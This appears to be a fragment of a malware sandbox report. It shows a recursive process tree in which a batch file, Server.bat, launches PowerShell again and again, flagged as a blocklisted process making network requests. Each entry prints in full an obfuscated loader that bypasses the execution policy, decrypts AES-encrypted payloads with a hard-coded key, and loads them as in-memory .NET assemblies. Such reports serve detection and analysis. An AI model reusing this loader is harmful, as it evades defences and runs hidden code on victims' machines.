        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        118⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:4020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        116⤵
        
        PID:880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        117⤵
        Blocklisted process makes network request
        
        PID:1988
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        115⤵
        
        PID:820
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        116⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        114⤵
        
        PID:3116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        115⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        113⤵
        
        PID:5068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        114⤵
        
        PID:2160
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        112⤵
        
        PID:4828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        113⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:212
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        111⤵
        
        PID:3920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        112⤵
        
        PID:4420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        110⤵
        
        PID:4948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        111⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        109⤵
        
        PID:3052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        110⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        108⤵
        
        PID:2680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        109⤵
        
        PID:3476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        107⤵
        
        PID:2364
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        108⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3488
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        106⤵
        
        PID:636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        107⤵
        
        PID:3644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        105⤵
        
        PID:2004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
